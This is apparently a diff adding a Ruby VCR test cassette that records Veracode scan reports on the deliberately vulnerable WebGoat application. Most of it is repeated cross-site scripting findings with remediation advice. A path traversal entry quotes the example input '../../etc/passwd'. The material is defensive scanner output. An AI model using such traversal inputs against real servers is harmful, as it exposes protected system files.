+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:12:23 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200074'
+      Date:
+      - Tue, 27 Oct 2015 12:12:26 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:12:26 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAk4AAAGwCAYAAABfKeoBAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFnqSURBVHhe7Z0Bkuw2jkT/OX3XOdus2x6t+WkCmaBIlaR6G+HYcQsEgQeIyGJ1z/z6L/8HAQhAAAIQgAAEIGAR+GVZYQQBCEAAAhCAAAQg8F+EE00AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQADhRA9AAAIQgAAEIAABkwDCyQSFGQQgAAEIQAACEEA40QMQgAAEIAABCEDAJIBwMkFhBgEIQAACEIAABBBO9AAEIAABCEAAAhAwCSCcTFCYQQACEIAABCAAAYQTPQABCEAAAhCAAARMAggnExRmEIAABCAAAQhAAOFED0AAAhCAAAQgAAGTAMLJBIUZBCAAAQhAAAIQQDjRAxCAAAQgAAEIQMAkgHAyQWEGAQhAAAIQgAAEEE70AAQgAAEIQAACEDAJIJxMUJhBAAIQgAAEIAABhBM9AAEIQAACEIAABEwCCCcTFGYQgAAEIAABCEAA4UQPQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAAQQTvQABCAAAQhAAAIQMAkgnExQmEEAAhCAAAQgAAGEEz0AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQGC5cPrjjz/+yz8woAfoAXqAHqAH6IFdPfCf//znYwpuuXD6SYZ/YEAP0AP0AD1AD9ADO3vgU8ppuXD6VCLsCwEIQAACEIAABHYTQDjtJox/CEAAAhCAAAReQwDh9JpSkggEIAABCEAAArsJIJx2E8Y/BCAAAQhAAAKvIYBwek0pSQQCEIAABCAAgd0EEE67CeMfAhCAAAQgAIHXEEA4vaaUJAIBCEAAAhCAwG4CHxFOv36t23alrxb2j9/Dd7vHqv1W+ekbZJfflY34hBhX5osvCEAAAhB4D4F1CqZhMhqMTxqWWayr8nD8ODYIp/e8jGQCAQhAAAL3J4BwGtRot3ByBZFrd6RQtf9Uez4lzk/xYV8IQAACELgvgY8Ip35wHl+LjX4+EgXRV2etn+jWK9qr3ae3yb6qy/xFAsHJP8rF3a/CYnRrdawffX2Z8Y9EnIrnvq8IkUEAAhCAAAT+IbBFOP24V2IjG7BVsVT11cc3Eg69YFAxjXw6X1m6YlH5z/xU8nXFnuLh1p+XEQIQgAAEIPAkArcQTtntSjv0j2Hs3HhUxNsZ4VS9Sclum/pbHiWGInGnRNbxfHR7Nbppau0jVn1tEE5POgaIFQIQgAAEXAK3EE5RsNEwvpNwckFHtz7RDY8jfka3PtHPqkLGFVDVGqnbrwpPbCEAAQhAAAJXE9gmnJxbCkccqFsXVxAoP+7tjbufk5uyUTGPbuBWCadM4LhxObFc3fDsBwEIQAACEDhD4OPCqRVYV/xO0OjrqR5g9feOstuZ7FaofVa54Wlts99JynLNvh4dxaJ8ZcKzr3F2y3ammVkLAQhAAAIQ2E1gq3DaHfwZ/1cP7137ZcLpDB/WQgACEIAABCDwbwJfJZyc26a3NMkuofYWPuQBAQhAAAIQmCHwVcJpBhBrIAABCEAAAhCAwEEA4UQvQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAASWC6c//vjjv/wDA3qAHqAH6AF6gB7Y1QP/+c9/Pqbglgunn2T4Bwb0AD1AD9AD9AA9sLMHPqWclgunTyXCvhCAAAQgAAEIQGA3AYTTbs